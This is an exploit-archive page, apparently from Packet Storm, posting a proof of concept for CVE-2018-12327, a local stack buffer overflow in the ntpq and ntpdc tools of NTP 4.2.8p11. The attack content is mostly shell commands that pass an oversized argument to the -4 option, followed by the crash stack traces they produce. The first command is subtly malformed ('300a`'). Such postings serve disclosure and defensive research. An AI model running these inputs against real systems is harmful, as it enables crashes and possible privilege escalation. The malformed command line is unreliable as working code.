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ntp 4.2.8p11 Local Buffer Overflow

ntp 4.2.8p11 Local Buffer Overflow
Posted Jun 21, 2018
Authored by Fakhri Zulkifli

ntp version 4.2.8p11 local buffer overflow proof of concept exploit.

tags | exploit, overflow, local, proof of concept
advisories | CVE-2018-12327
MD5 | 2fd8ead2c4c5a791240661a169476a78

ntp 4.2.8p11 Local Buffer Overflow

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# Exploit Title: ntpq and ntpdc 4.2.8p11 Local Buffer Overflow
# Date: 2018-06-06
# Exploit Author: Fakhri Zulkifli (@d0lph1n98)
# Vendor Homepage: http://www.ntp.org/
# Software Link: http://www.ntp.org/downloads.html
# Version: 4.2.8p11 and earlier
# Tested on: 4.2.8p11
# CVE : CVE-2018-12327

Stack-based buffer overflow in ntpq and ntpdc of NTP version 4.2.8p11 allows a local attacker to achieve code execution or escalate to higher privileges via a long string as the argument for an IPv4 or IPv6 command-line parameter.

$ ./ntpq -4 [`python -c 'print "A" * 300a`]

#0 0x562fcada86ce in openhost /home/user/ntp-4.2.8p11/ntpq/ntpq.c:655:12
#1 0x562fcada5f2a in ntpqmain /home/user/ntp-4.2.8p11/ntpq/ntpq.c:606:10
#2 0x562fcada4729 in main /home/user/ntp-4.2.8p11/ntpq/ntpq.c:469:9
#3 0x7f79b684982f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291
#4 0x562fcac96d88 in _start (/home/user/ntp-4.2.8p11/ntpq/ntpq+0xacd88)

$ ./ntpdc -4 [`python -c 'print "A" * 300'`]

#0 0x55f726641efe in openhost /home/user/ntp-4.2.8p11/ntpdc/ntpdc.c:413:12
#1 0x55f7266400d4 in ntpdcmain /home/user/ntp-4.2.8p11/ntpdc/ntpdc.c:365:10
#2 0x55f72663f269 in main /home/user/ntp-4.2.8p11/ntpdc/ntpdc.c:255:9
#3 0x7f0fc632382f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291
#4 0x55f7265362d8 in _start (/home/user/ntp-4.2.8p11/ntpdc/ntpdc+0x9d2d8)


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